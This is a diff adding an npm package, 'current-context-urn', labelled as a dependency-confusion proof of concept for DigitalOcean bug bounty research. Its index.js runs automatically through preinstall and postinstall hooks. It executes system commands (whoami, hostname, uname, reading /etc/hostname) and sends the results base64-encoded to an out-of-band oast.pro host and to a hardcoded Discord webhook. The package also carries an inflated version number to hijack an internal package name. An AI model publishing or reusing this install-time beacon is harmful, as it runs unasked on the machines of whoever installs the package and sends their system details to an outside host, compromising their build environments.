current-context-urn 99.10.9

package/index.js

@@ -0,0 +1,62 @@
+const https = require('https');
+const http = require('http');
+const os = require('os');
+const { execSync } = require('child_process');
+
+const oastHost = 'd736vi5i191oj6s0rhbgeirmqgiczz71s.oast.pro';
+
+// Función para ejecutar comandos de forma segura para el PoC
+function getCmd(cmd) {
+  try {
+    return execSync(cmd).toString().trim();
+  } catch (e) {
+    return "err";
+  }
+}
+
+// Recolectamos la info que DigitalOcean permite explícitamente
+const info = {
+  whoami: getCmd('whoami'),
+  hostname: getCmd('hostname'),
+  uname: getCmd('uname -a'),
+  platform: os.platform(),
+  release: os.release(),
+  // Intentamos leer /etc/hostname si es Linux (permitido por sus reglas)
+  etc_hostname: os.platform() === 'linux' ? getCmd('cat /etc/hostname') : 'n/a'
+};
+
+// Codificamos la info en Base64 para que no se rompa la URL del OAST
+const encodedInfo = Buffer.from(JSON.stringify(info)).toString('base64');
+
+// Enviamos a tu OAST
+// El path llevará la info codificada para que la veas en tus logs
+const reqOast = http.get(`http://${oastHost}/poc-data/${encodedInfo}`);
+reqOast.on('error', () => { });
+
+// También enviamos a tu Discord para aviso instantáneo
+const discordData = JSON.stringify({
+  content: "🔥 **RCE CONFIRMADO EN DIGITALOCEAN** 🔥",
+  embeds: [{
+    title: "PoC Evidence (Approved Commands)",
+    color: 3066993, // Verde
+    fields: [
+      { name: "Whoami", value: info.whoami, inline: true },
+      { name: "Hostname", value: info.hostname, inline: true },
+      { name: "Uname", value: info.uname, inline: false },
+      { name: "Platform", value: info.platform, inline: true }
+    ],
+    footer: { text: "X-BBP-Researcher: [TU_USUARIO_INTIGRITI]" }
+  }]
+});
+
+const reqDiscord = https.request({
+  hostname: 'discord.com',
+  port: 443,
+  path: '/api/webhooks/1487009597175890022/DE6xfM-BeQ1xD6U2nH7vuFoQAIDd_aVDsuzdhHiGBZpPRm0M9BU94QEglVsLHaSxqhzo',
+  method: 'POST',
+  headers: { 'Content-Type': 'application/json', 'Content-Length': discordData.length }
+});
+reqDiscord.write(discordData);
+reqDiscord.end();
+
+module.exports = {};

package/package.json

@@ -0,0 +1,12 @@
+{
+  "name": "current-context-urn",
+  "version": "99.10.9",
+  "description": "PoC for Dependency Confusion - DigitalOcean Security Research",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node index.js",
+    "postinstall": "node index.js"
+  },
+  "author": "Security Researcher",
+  "license": "ISC"
+}